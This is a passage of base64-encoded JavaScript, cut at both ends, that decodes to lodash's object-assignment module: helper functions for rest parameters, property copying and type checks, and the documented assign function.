59IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGFwcGx5IGEgcmVzdCBwYXJhbWV0ZXIgdG8uXG4gKiBAcGFyYW0ge251bWJlcn0gW3N0YXJ0PWZ1bmMubGVuZ3RoLTFdIFRoZSBzdGFydCBwb3NpdGlvbiBvZiB0aGUgcmVzdCBwYXJhbWV0ZXIuXG4gKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBmdW5jdGlvbi5cbiAqL1xuZnVuY3Rpb24gYmFzZVJlc3QoZnVuYywgc3RhcnQpIHtcbiAgc3RhcnQgPSBuYXRpdmVNYXgoc3RhcnQgPT09IHVuZGVmaW5lZCA/IChmdW5jLmxlbmd0aCAtIDEpIDogc3RhcnQsIDApO1xuICByZXR1cm4gZnVuY3Rpb24oKSB7XG4gICAgdmFyIGFyZ3MgPSBhcmd1bWVudHMsXG4gICAgICAgIGluZGV4ID0gLTEsXG4gICAgICAgIGxlbmd0aCA9IG5hdGl2ZU1heChhcmdzLmxlbmd0aCAtIHN0YXJ0LCAwKSxcbiAgICAgICAgYXJyYXkgPSBBcnJheShsZW5ndGgpO1xuXG4gICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgIGFycmF5W2luZGV4XSA9IGFyZ3Nbc3RhcnQgKyBpbmRleF07XG4gICAgfVxuICAgIGluZGV4ID0gLTE7XG4gICAgdmFyIG90aGVyQXJncyA9IEFycmF5KHN0YXJ0ICsgMSk7XG4gICAgd2hpbGUgKCsraW5kZXggPCBzdGFydCkge1xuICAgICAgb3RoZXJBcmdzW2luZGV4XSA9IGFyZ3NbaW5kZXhdO1xuICAgIH1cbiAgICBvdGhlckFyZ3Nbc3RhcnRdID0gYXJyYXk7XG4gICAgcmV0dXJuIGFwcGx5KGZ1bmMsIHRoaXMsIG90aGVyQXJncyk7XG4gIH07XG59XG5cbi8qKlxuICogQ29waWVzIHByb3BlcnRpZXMgb2YgYHNvdXJjZWAgdG8gYG9iamVjdGAuXG4gKlxuICogQHByaXZhdGVcbiAqIEBwYXJhbSB7T2JqZWN0fSBzb3VyY2UgVGhlIG9iamVjdCB0byBjb3B5IHByb3BlcnRpZXMgZnJvbS5cbiAqIEBwYXJhbSB7QXJyYXl9IHByb3BzIFRoZSBwcm9wZXJ0eSBpZGVudGlmaWVycyB0byBjb3B5LlxuICogQHBhcmFtIHtPYmplY3R9IFtvYmplY3Q9e31dIFRoZSBvYmplY3QgdG8gY29weSBwcm9wZXJ0aWVzIHRvLlxuICogQHBhcmFtIHtGdW5jdGlvbn0gW2N1c3RvbWl6ZXJdIFRoZSBmdW5jdGlvbiB0byBjdXN0b21pemUgY29waWVkIHZhbHVlcy5cbiAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgYG9iamVjdGAuXG4gKi9cbmZ1bmN0aW9uIGNvcHlPYmplY3Qoc291cmNlLCBwcm9wcywgb2JqZWN0LCBjdXN0b21pemVyKSB7XG4gIG9iamVjdCB8fCAob2JqZWN0ID0ge30pO1xuXG4gIHZhciBpbmRleCA9IC0xLFxuICAgICAgbGVuZ3RoID0gcHJvcHMubGVuZ3RoO1xuXG4gIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgdmFyIGtleSA9IHByb3BzW2luZGV4XTtcblxuICAgIHZhciBuZXdWYWx1ZSA9IGN1c3RvbWl6ZXJcbiAgICAgID8gY3VzdG9taXplcihvYmplY3Rba2V5XSwgc291cmNlW2tleV0sIGtleSwgb2JqZWN0LCBzb3VyY2UpXG4gICAgICA6IHVuZGVmaW5lZDtcblxuICAgIGFzc2lnblZhbHVlKG9iamVjdCwga2V5LCBuZXdWYWx1ZSA9PT0gdW5kZWZpbmVkID8gc291cmNlW2tleV0gOiBuZXdWYWx1ZSk7XG4gIH1cbiAgcmV0dXJuIG9iamVjdDtcbn1cblxuLyoqXG4gKiBDcmVhdGVzIGEgZnVuY3Rpb24gbGlrZSBgXy5hc3NpZ25gLlxuICpcbiAqIEBwcml2YXRlXG4gKiBAcGFyYW0ge0Z1bmN0aW9ufSBhc3NpZ25lciBUaGUgZnVuY3Rpb24gdG8gYXNzaWduIHZhbHVlcy5cbiAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGFzc2lnbmVyIGZ1bmN0aW9uLlxuICovXG5mdW5jdGlvbiBjcmVhdGVBc3NpZ25lcihhc3NpZ25lcikge1xuICByZXR1cm4gYmFzZVJlc3QoZnVuY3Rpb24ob2JqZWN0LCBzb3VyY2VzKSB7XG4gICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgIGxlbmd0aCA9IHNvdXJjZXMubGVuZ3RoLFxuICAgICAgICBjdXN0b21pemVyID0gbGVuZ3RoID4gMSA/IHNvdXJjZXNbbGVuZ3RoIC0gMV0gOiB1bmRlZmluZWQsXG4gICAgICAgIGd1YXJkID0gbGVuZ3RoID4gMiA/IHNvdXJjZXNbMl0gOiB1bmRlZmluZWQ7XG5cbiAgICBjdXN0b21pemVyID0gKGFzc2lnbmVyLmxlbmd0aCA+IDMgJiYgdHlwZW9mIGN1c3RvbWl6ZXIgPT0gJ2Z1bmN0aW9uJylcbiAgICAgID8gKGxlbmd0aC0tLCBjdXN0b21pemVyKVxuICAgICAgOiB1bmRlZmluZWQ7XG5cbiAgICBpZiAoZ3VhcmQgJiYgaXNJdGVyYXRlZUNhbGwoc291cmNlc1swXSwgc291cmNlc1sxXSwgZ3VhcmQpKSB7XG4gICAgICBjdXN0b21pemVyID0gbGVuZ3RoIDwgMyA/IHVuZGVmaW5lZCA6IGN1c3RvbWl6ZXI7XG4gICAgICBsZW5ndGggPSAxO1xuICAgIH1cbiAgICBvYmplY3QgPSBPYmplY3Qob2JqZWN0KTtcbiAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgdmFyIHNvdXJjZSA9IHNvdXJjZXNbaW5kZXhdO1xuICAgICAgaWYgKHNvdXJjZSkge1xuICAgICAgICBhc3NpZ25lcihvYmplY3QsIHNvdXJjZSwgaW5kZXgsIGN1c3RvbWl6ZXIpO1xuICAgICAgfVxuICAgIH1cbiAgICByZXR1cm4gb2JqZWN0O1xuICB9KTtcbn1cblxuLyoqXG4gKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBhIHZhbGlkIGFycmF5LWxpa2UgaW5kZXguXG4gKlxuICogQHByaXZhdGVcbiAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICogQHBhcmFtIHtudW1iZXJ9IFtsZW5ndGg9TUFYX1NBRkVfSU5URUdFUl0gVGhlIHVwcGVyIGJvdW5kcyBvZiBhIHZhbGlkIGluZGV4LlxuICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYSB2YWxpZCBpbmRleCwgZWxzZSBgZmFsc2VgLlxuICovXG5mdW5jdGlvbiBpc0luZGV4KHZhbHVlLCBsZW5ndGgpIHtcbiAgbGVuZ3RoID0gbGVuZ3RoID09IG51bGwgPyBNQVhfU0FGRV9JTlRFR0VSIDogbGVuZ3RoO1xuICByZXR1cm4gISFsZW5ndGggJiZcbiAgICAodHlwZW9mIHZhbHVlID09ICdudW1iZXInIHx8IHJlSXNVaW50LnRlc3QodmFsdWUpKSAmJlxuICAgICh2YWx1ZSA+IC0xICYmIHZhbHVlICUgMSA9PSAwICYmIHZhbHVlIDwgbGVuZ3RoKTtcbn1cblxuLyoqXG4gKiBDaGVja3MgaWYgdGhlIGdpdmVuIGFyZ3VtZW50cyBhcmUgZnJvbSBhbiBpdGVyYXRlZSBjYWxsLlxuICpcbiAqIEBwcml2YXRlXG4gKiBAcGFyYW0geyp9IHZhbHVlIFRoZSBwb3RlbnRpYWwgaXRlcmF0ZWUgdmFsdWUgYXJndW1lbnQuXG4gKiBAcGFyYW0geyp9IGluZGV4IFRoZSBwb3RlbnRpYWwgaXRlcmF0ZWUgaW5kZXggb3Iga2V5IGFyZ3VtZW50LlxuICogQHBhcmFtIHsqfSBvYmplY3QgVGhlIHBvdGVudGlhbCBpdGVyYXRlZSBvYmplY3QgYXJndW1lbnQuXG4gKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgdGhlIGFyZ3VtZW50cyBhcmUgZnJvbSBhbiBpdGVyYXRlZSBjYWxsLFxuICogIGVsc2UgYGZhbHNlYC5cbiAqL1xuZnVuY3Rpb24gaXNJdGVyYXRlZUNhbGwodmFsdWUsIGluZGV4LCBvYmplY3QpIHtcbiAgaWYgKCFpc09iamVjdChvYmplY3QpKSB7XG4gICAgcmV0dXJuIGZhbHNlO1xuICB9XG4gIHZhciB0eXBlID0gdHlwZW9mIGluZGV4O1xuICBpZiAodHlwZSA9PSAnbnVtYmVyJ1xuICAgICAgICA/IChpc0FycmF5TGlrZShvYmplY3QpICYmIGlzSW5kZXgoaW5kZXgsIG9iamVjdC5sZW5ndGgpKVxuICAgICAgICA6ICh0eXBlID09ICdzdHJpbmcnICYmIGluZGV4IGluIG9iamVjdClcbiAgICAgICkge1xuICAgIHJldHVybiBlcShvYmplY3RbaW5kZXhdLCB2YWx1ZSk7XG4gIH1cbiAgcmV0dXJuIGZhbHNlO1xufVxuXG4vKipcbiAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGxpa2VseSBhIHByb3RvdHlwZSBvYmplY3QuXG4gKlxuICogQHByaXZhdGVcbiAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYSBwcm90b3R5cGUsIGVsc2UgYGZhbHNlYC5cbiAqL1xuZnVuY3Rpb24gaXNQcm90b3R5cGUodmFsdWUpIHtcbiAgdmFyIEN0b3IgPSB2YWx1ZSAmJiB2YWx1ZS5jb25zdHJ1Y3RvcixcbiAgICAgIHByb3RvID0gKHR5cGVvZiBDdG9yID09ICdmdW5jdGlvbicgJiYgQ3Rvci5wcm90b3R5cGUpIHx8IG9iamVjdFByb3RvO1xuXG4gIHJldHVybiB2YWx1ZSA9PT0gcHJvdG87XG59XG5cbi8qKlxuICogUGVyZm9ybXMgYVxuICogW2BTYW1lVmFsdWVaZXJvYF0oaHR0cDovL2VjbWEtaW50ZXJuYXRpb25hbC5vcmcvZWNtYS0yNjIvNy4wLyNzZWMtc2FtZXZhbHVlemVybylcbiAqIGNvbXBhcmlzb24gYmV0d2VlbiB0d28gdmFsdWVzIHRvIGRldGVybWluZSBpZiB0aGV5IGFyZSBlcXVpdmFsZW50LlxuICpcbiAqIEBzdGF0aWNcbiAqIEBtZW1iZXJPZiBfXG4gKiBAc2luY2UgNC4wLjBcbiAqIEBjYXRlZ29yeSBMYW5nXG4gKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjb21wYXJlLlxuICogQHBhcmFtIHsqfSBvdGhlciBUaGUgb3RoZXIgdmFsdWUgdG8gY29tcGFyZS5cbiAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiB0aGUgdmFsdWVzIGFyZSBlcXVpdmFsZW50LCBlbHNlIGBmYWxzZWAuXG4gKiBAZXhhbXBsZVxuICpcbiAqIHZhciBvYmplY3QgPSB7ICdhJzogMSB9O1xuICogdmFyIG90aGVyID0geyAnYSc6IDEgfTtcbiAqXG4gKiBfLmVxKG9iamVjdCwgb2JqZWN0KTtcbiAqIC8vID0+IHRydWVcbiAqXG4gKiBfLmVxKG9iamVjdCwgb3RoZXIpO1xuICogLy8gPT4gZmFsc2VcbiAqXG4gKiBfLmVxKCdhJywgJ2EnKTtcbiAqIC8vID0+IHRydWVcbiAqXG4gKiBfLmVxKCdhJywgT2JqZWN0KCdhJykpO1xuICogLy8gPT4gZmFsc2VcbiAqXG4gKiBfLmVxKE5hTiwgTmFOKTtcbiAqIC8vID0+IHRydWVcbiAqL1xuZnVuY3Rpb24gZXEodmFsdWUsIG90aGVyKSB7XG4gIHJldHVybiB2YWx1ZSA9PT0gb3RoZXIgfHwgKHZhbHVlICE9PSB2YWx1ZSAmJiBvdGhlciAhPT0gb3RoZXIpO1xufVxuXG4vKipcbiAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGxpa2VseSBhbiBgYXJndW1lbnRzYCBvYmplY3QuXG4gKlxuICogQHN0YXRpY1xuICogQG1lbWJlck9mIF9cbiAqIEBzaW5jZSAwLjEuMFxuICogQGNhdGVnb3J5IExhbmdcbiAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYW4gYGFyZ3VtZW50c2Agb2JqZWN0LFxuICogIGVsc2UgYGZhbHNlYC5cbiAqIEBleGFtcGxlXG4gKlxuICogXy5pc0FyZ3VtZW50cyhmdW5jdGlvbigpIHsgcmV0dXJuIGFyZ3VtZW50czsgfSgpKTtcbiAqIC8vID0+IHRydWVcbiAqXG4gKiBfLmlzQXJndW1lbnRzKFsxLCAyLCAzXSk7XG4gKiAvLyA9PiBmYWxzZVxuICovXG5mdW5jdGlvbiBpc0FyZ3VtZW50cyh2YWx1ZSkge1xuICAvLyBTYWZhcmkgOC4xIG1ha2VzIGBhcmd1bWVudHMuY2FsbGVlYCBlbnVtZXJhYmxlIGluIHN0cmljdCBtb2RlLlxuICByZXR1cm4gaXNBcnJheUxpa2VPYmplY3QodmFsdWUpICYmIGhhc093blByb3BlcnR5LmNhbGwodmFsdWUsICdjYWxsZWUnKSAmJlxuICAgICghcHJvcGVydHlJc0VudW1lcmFibGUuY2FsbCh2YWx1ZSwgJ2NhbGxlZScpIHx8IG9iamVjdFRvU3RyaW5nLmNhbGwodmFsdWUpID09IGFyZ3NUYWcpO1xufVxuXG4vKipcbiAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGNsYXNzaWZpZWQgYXMgYW4gYEFycmF5YCBvYmplY3QuXG4gKlxuICogQHN0YXRpY1xuICogQG1lbWJlck9mIF9cbiAqIEBzaW5jZSAwLjEuMFxuICogQGNhdGVnb3J5IExhbmdcbiAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYW4gYXJyYXksIGVsc2UgYGZhbHNlYC5cbiAqIEBleGFtcGxlXG4gKlxuICogXy5pc0FycmF5KFsxLCAyLCAzXSk7XG4gKiAvLyA9PiB0cnVlXG4gKlxuICogXy5pc0FycmF5KGRvY3VtZW50LmJvZHkuY2hpbGRyZW4pO1xuICogLy8gPT4gZmFsc2VcbiAqXG4gKiBfLmlzQXJyYXkoJ2FiYycpO1xuICogLy8gPT4gZmFsc2VcbiAqXG4gKiBfLmlzQXJyYXkoXy5ub29wKTtcbiAqIC8vID0+IGZhbHNlXG4gKi9cbnZhciBpc0FycmF5ID0gQXJyYXkuaXNBcnJheTtcblxuLyoqXG4gKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBhcnJheS1saWtlLiBBIHZhbHVlIGlzIGNvbnNpZGVyZWQgYXJyYXktbGlrZSBpZiBpdCdzXG4gKiBub3QgYSBmdW5jdGlvbiBhbmQgaGFzIGEgYHZhbHVlLmxlbmd0aGAgdGhhdCdzIGFuIGludGVnZXIgZ3JlYXRlciB0aGFuIG9yXG4gKiBlcXVhbCB0byBgMGAgYW5kIGxlc3MgdGhhbiBvciBlcXVhbCB0byBgTnVtYmVyLk1BWF9TQUZFX0lOVEVHRVJgLlxuICpcbiAqIEBzdGF0aWNcbiAqIEBtZW1iZXJPZiBfXG4gKiBAc2luY2UgNC4wLjBcbiAqIEBjYXRlZ29yeSBMYW5nXG4gKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjaGVjay5cbiAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGFycmF5LWxpa2UsIGVsc2UgYGZhbHNlYC5cbiAqIEBleGFtcGxlXG4gKlxuICogXy5pc0FycmF5TGlrZShbMSwgMiwgM10pO1xuICogLy8gPT4gdHJ1ZVxuICpcbiAqIF8uaXNBcnJheUxpa2UoZG9jdW1lbnQuYm9keS5jaGlsZHJlbik7XG4gKiAvLyA9PiB0cnVlXG4gKlxuICogXy5pc0FycmF5TGlrZSgnYWJjJyk7XG4gKiAvLyA9PiB0cnVlXG4gKlxuICogXy5pc0FycmF5TGlrZShfLm5vb3ApO1xuICogLy8gPT4gZmFsc2VcbiAqL1xuZnVuY3Rpb24gaXNBcnJheUxpa2UodmFsdWUpIHtcbiAgcmV0dXJuIHZhbHVlICE9IG51bGwgJiYgaXNMZW5ndGgodmFsdWUubGVuZ3RoKSAmJiAhaXNGdW5jdGlvbih2YWx1ZSk7XG59XG5cbi8qKlxuICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5pc0FycmF5TGlrZWAgZXhjZXB0IHRoYXQgaXQgYWxzbyBjaGVja3MgaWYgYHZhbHVlYFxuICogaXMgYW4gb2JqZWN0LlxuICpcbiAqIEBzdGF0aWNcbiAqIEBtZW1iZXJPZiBfXG4gKiBAc2luY2UgNC4wLjBcbiAqIEBjYXRlZ29yeSBMYW5nXG4gKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjaGVjay5cbiAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGFuIGFycmF5LWxpa2Ugb2JqZWN0LFxuICogIGVsc2UgYGZhbHNlYC5cbiAqIEBleGFtcGxlXG4gKlxuICogXy5pc0FycmF5TGlrZU9iamVjdChbMSwgMiwgM10pO1xuICogLy8gPT4gdHJ1ZVxuICpcbiAqIF8uaXNBcnJheUxpa2VPYmplY3QoZG9jdW1lbnQuYm9keS5jaGlsZHJlbik7XG4gKiAvLyA9PiB0cnVlXG4gKlxuICogXy5pc0FycmF5TGlrZU9iamVjdCgnYWJjJyk7XG4gKiAvLyA9PiBmYWxzZVxuICpcbiAqIF8uaXNBcnJheUxpa2VPYmplY3QoXy5ub29wKTtcbiAqIC8vID0+IGZhbHNlXG4gKi9cbmZ1bmN0aW9uIGlzQXJyYXlMaWtlT2JqZWN0KHZhbHVlKSB7XG4gIHJldHVybiBpc09iamVjdExpa2UodmFsdWUpICYmIGlzQXJyYXlMaWtlKHZhbHVlKTtcbn1cblxuLyoqXG4gKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBjbGFzc2lmaWVkIGFzIGEgYEZ1bmN0aW9uYCBvYmplY3QuXG4gKlxuICogQHN0YXRpY1xuICogQG1lbWJlck9mIF9cbiAqIEBzaW5jZSAwLjEuMFxuICogQGNhdGVnb3J5IExhbmdcbiAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYSBmdW5jdGlvbiwgZWxzZSBgZmFsc2VgLlxuICogQGV4YW1wbGVcbiAqXG4gKiBfLmlzRnVuY3Rpb24oXyk7XG4gKiAvLyA9PiB0cnVlXG4gKlxuICogXy5pc0Z1bmN0aW9uKC9hYmMvKTtcbiAqIC8vID0+IGZhbHNlXG4gKi9cbmZ1bmN0aW9uIGlzRnVuY3Rpb24odmFsdWUpIHtcbiAgLy8gVGhlIHVzZSBvZiBgT2JqZWN0I3RvU3RyaW5nYCBhdm9pZHMgaXNzdWVzIHdpdGggdGhlIGB0eXBlb2ZgIG9wZXJhdG9yXG4gIC8vIGluIFNhZmFyaSA4LTkgd2hpY2ggcmV0dXJucyAnb2JqZWN0JyBmb3IgdHlwZWQgYXJyYXkgYW5kIG90aGVyIGNvbnN0cnVjdG9ycy5cbiAgdmFyIHRhZyA9IGlzT2JqZWN0KHZhbHVlKSA/IG9iamVjdFRvU3RyaW5nLmNhbGwodmFsdWUpIDogJyc7XG4gIHJldHVybiB0YWcgPT0gZnVuY1RhZyB8fCB0YWcgPT0gZ2VuVGFnO1xufVxuXG4vKipcbiAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGEgdmFsaWQgYXJyYXktbGlrZSBsZW5ndGguXG4gKlxuICogKipOb3RlOioqIFRoaXMgbWV0aG9kIGlzIGxvb3NlbHkgYmFzZWQgb25cbiAqIFtgVG9MZW5ndGhgXShodHRwOi8vZWNtYS1pbnRlcm5hdGlvbmFsLm9yZy9lY21hLTI2Mi83LjAvI3NlYy10b2xlbmd0aCkuXG4gKlxuICogQHN0YXRpY1xuICogQG1lbWJlck9mIF9cbiAqIEBzaW5jZSA0LjAuMFxuICogQGNhdGVnb3J5IExhbmdcbiAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYSB2YWxpZCBsZW5ndGgsIGVsc2UgYGZhbHNlYC5cbiAqIEBleGFtcGxlXG4gKlxuICogXy5pc0xlbmd0aCgzKTtcbiAqIC8vID0+IHRydWVcbiAqXG4gKiBfLmlzTGVuZ3RoKE51bWJlci5NSU5fVkFMVUUpO1xuICogLy8gPT4gZmFsc2VcbiAqXG4gKiBfLmlzTGVuZ3RoKEluZmluaXR5KTtcbiAqIC8vID0+IGZhbHNlXG4gKlxuICogXy5pc0xlbmd0aCgnMycpO1xuICogLy8gPT4gZmFsc2VcbiAqL1xuZnVuY3Rpb24gaXNMZW5ndGgodmFsdWUpIHtcbiAgcmV0dXJuIHR5cGVvZiB2YWx1ZSA9PSAnbnVtYmVyJyAmJlxuICAgIHZhbHVlID4gLTEgJiYgdmFsdWUgJSAxID09IDAgJiYgdmFsdWUgPD0gTUFYX1NBRkVfSU5URUdFUjtcbn1cblxuLyoqXG4gKiBDaGVja3MgaWYgYHZhbHVlYCBpcyB0aGVcbiAqIFtsYW5ndWFnZSB0eXBlXShodHRwOi8vd3d3LmVjbWEtaW50ZXJuYXRpb25hbC5vcmcvZWNtYS0yNjIvNy4wLyNzZWMtZWNtYXNjcmlwdC1sYW5ndWFnZS10eXBlcylcbiAqIG9mIGBPYmplY3RgLiAoZS5nLiBhcnJheXMsIGZ1bmN0aW9ucywgb2JqZWN0cywgcmVnZXhlcywgYG5ldyBOdW1iZXIoMClgLCBhbmQgYG5ldyBTdHJpbmcoJycpYClcbiAqXG4gKiBAc3RhdGljXG4gKiBAbWVtYmVyT2YgX1xuICogQHNpbmNlIDAuMS4wXG4gKiBAY2F0ZWdvcnkgTGFuZ1xuICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBhbiBvYmplY3QsIGVsc2UgYGZhbHNlYC5cbiAqIEBleGFtcGxlXG4gKlxuICogXy5pc09iamVjdCh7fSk7XG4gKiAvLyA9PiB0cnVlXG4gKlxuICogXy5pc09iamVjdChbMSwgMiwgM10pO1xuICogLy8gPT4gdHJ1ZVxuICpcbiAqIF8uaXNPYmplY3QoXy5ub29wKTtcbiAqIC8vID0+IHRydWVcbiAqXG4gKiBfLmlzT2JqZWN0KG51bGwpO1xuICogLy8gPT4gZmFsc2VcbiAqL1xuZnVuY3Rpb24gaXNPYmplY3QodmFsdWUpIHtcbiAgdmFyIHR5cGUgPSB0eXBlb2YgdmFsdWU7XG4gIHJldHVybiAhIXZhbHVlICYmICh0eXBlID09ICdvYmplY3QnIHx8IHR5cGUgPT0gJ2Z1bmN0aW9uJyk7XG59XG5cbi8qKlxuICogQ2hlY2tzIGlmIGB2YWx1ZWAgaXMgb2JqZWN0LWxpa2UuIEEgdmFsdWUgaXMgb2JqZWN0LWxpa2UgaWYgaXQncyBub3QgYG51bGxgXG4gKiBhbmQgaGFzIGEgYHR5cGVvZmAgcmVzdWx0IG9mIFwib2JqZWN0XCIuXG4gKlxuICogQHN0YXRpY1xuICogQG1lbWJlck9mIF9cbiAqIEBzaW5jZSA0LjAuMFxuICogQGNhdGVnb3J5IExhbmdcbiAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgb2JqZWN0LWxpa2UsIGVsc2UgYGZhbHNlYC5cbiAqIEBleGFtcGxlXG4gKlxuICogXy5pc09iamVjdExpa2Uoe30pO1xuICogLy8gPT4gdHJ1ZVxuICpcbiAqIF8uaXNPYmplY3RMaWtlKFsxLCAyLCAzXSk7XG4gKiAvLyA9PiB0cnVlXG4gKlxuICogXy5pc09iamVjdExpa2UoXy5ub29wKTtcbiAqIC8vID0+IGZhbHNlXG4gKlxuICogXy5pc09iamVjdExpa2UobnVsbCk7XG4gKiAvLyA9PiBmYWxzZVxuICovXG5mdW5jdGlvbiBpc09iamVjdExpa2UodmFsdWUpIHtcbiAgcmV0dXJuICEhdmFsdWUgJiYgdHlwZW9mIHZhbHVlID09ICdvYmplY3QnO1xufVxuXG4vKipcbiAqIEFzc2lnbnMgb3duIGVudW1lcmFibGUgc3RyaW5nIGtleWVkIHByb3BlcnRpZXMgb2Ygc291cmNlIG9iamVjdHMgdG8gdGhlXG4gKiBkZXN0aW5hdGlvbiBvYmplY3QuIFNvdXJjZSBvYmplY3RzIGFyZSBhcHBsaWVkIGZyb20gbGVmdCB0byByaWdodC5cbiAqIFN1YnNlcXVlbnQgc291cmNlcyBvdmVyd3JpdGUgcHJvcGVydHkgYXNzaWdubWVudHMgb2YgcHJldmlvdXMgc291cmNlcy5cbiAqXG4gKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgbXV0YXRlcyBgb2JqZWN0YCBhbmQgaXMgbG9vc2VseSBiYXNlZCBvblxuICogW2BPYmplY3QuYXNzaWduYF0oaHR0cHM6Ly9tZG4uaW8vT2JqZWN0L2Fzc2lnbikuXG4gKlxuICogQHN0YXRpY1xuICogQG1lbWJlck9mIF9cbiAqIEBzaW5jZSAwLjEwLjBcbiAqIEBjYXRlZ29yeSBPYmplY3RcbiAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIGRlc3RpbmF0aW9uIG9iamVjdC5cbiAqIEBwYXJhbSB7Li4uT2JqZWN0fSBbc291cmNlc10gVGhlIHNvdXJjZSBvYmplY3RzLlxuICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyBgb2JqZWN0YC5cbiAqIEBzZWUgXy5hc3NpZ25JblxuICogQGV4YW1wbGVcbiAqXG4gKiBmdW5jdGlvbiBGb28oKSB7XG4gKiAgIHRoaXMuYSA9IDE7XG4gKiB9XG4gKlxuICogZnVuY3Rpb24gQmFyKCkge1xuICogICB0aGlzLmMgPSAzO1xuICogfVxuICpcbiAqIEZvby5wcm90b3R5cGUuYiA9IDI7XG4gKiBCYXIucHJvdG90eXBlLmQgPSA0O1xuICpcbiAqIF8uYXNzaWduKHsgJ2EnOiAwIH0sIG5ldyBGb28sIG5ldyBCYXIpO1xuICogLy8gPT4geyAnYSc6IDEsICdjJzogMyB9XG4gKi9cbnZhciBhc3NpZ24gPSBjcmVhdGVBc3NpZ25lcihmdW5jdGlvbihvYmplY3QsIHNvdXJjZSkge1xuICBpZiAobm9uRW51bVNoYWRvd3MgfHwgaXNQcm90b3R5cGUoc291cmNlKSB8fCBpc0FycmF5TGlrZShzb3VyY2UpKSB7XG4gICAgY29weU9iamVjdChzb3VyY2UsIGtleXMoc291cmNlKSwgb2JqZWN0KTtcbiAgICByZXR1cm47XG4gIH1cbiAgZm9yICh2YXIga2V5IGluIHNvdXJjZSkge1xuICAgIGlmIChoYXNPd25Qcm9wZXJ0eS5jYWxsKHNvdXJjZSwga2V5KSkge1xuICAgICAgYXNzaWduVmFsdWUob2JqZWN0LCBrZXksIHNvdXJjZVtrZXldKTtcbiAgICB9XG4gIH1cbn0pO1xuXG4vKipcbiAqIENyZWF0ZXMgYW4gYXJyYXkgb2YgdGhlIG93biBlbnVtZXJhYmxlIHByb3BlcnR5IG5hbWVzIG9mIGBvYmplY3RgLlxuICpcbiAqICoqTm90ZToqKiBOb24tb2JqZWN0IHZhbHVlcyBhcmUgY29lcmNlZCB0byBvYmplY3RzLiBTZWUgdGhlXG4gKiBbRVMgc3BlY10oaHR0cDovL2VjbWEtaW50ZXJuYXRpb25hbC5vcmcvZWNtYS0yNjIvNy4wLyNzZWMtb2JqZWN0LmtleXMpXG4gKiBmb3IgbW9yZSBkZXRhaWxzLlxuICpcbiAqIEBzdGF0aWNcbiAqIEBzaW5jZSAwLjEuMFxuICogQG1lbWJlck9mIF9cbiAqIEBjYXRlZ29yeSBPYmplY3RcbiAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBxdWVyeS5cbiAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgYXJyYXkgb2YgcHJvcGVydHkgbmFtZXMuXG4gKiBAZXhhbXBsZVxuICpcbiAqIGZ1bmN0aW9uIEZvbygpIHtcbiAqICAgdGhpcy5hID0gMTtcbiAqICAgdGhpcy5iID0gMjtcbiAqIH1cbiAqXG4gKiBGb28ucHJvdG90eXBlLm